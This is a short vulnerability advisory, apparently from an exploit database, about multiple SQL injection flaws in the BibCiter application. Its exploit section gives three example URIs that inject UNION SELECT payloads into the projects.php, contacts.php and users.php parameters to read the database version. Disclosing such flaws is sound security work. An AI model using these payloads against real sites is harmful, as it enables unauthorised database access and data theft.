• info
• discussion
• exploit
• solution
• references

BibCiter Multiple SQL Injection Vulnerabilities

Attackers can use a browser to exploit these issues.

The following example URIs are available:

http://www.example.com/[path]/projects.php?idp=-721) UNION SELECT @@version%23
http://www.example.com/[path]/contacts.php?idc=-1) UNION SELECT @@version%23
http://www.example.com/[path]/users.php?idu=-1) UNION SELECT @@version%23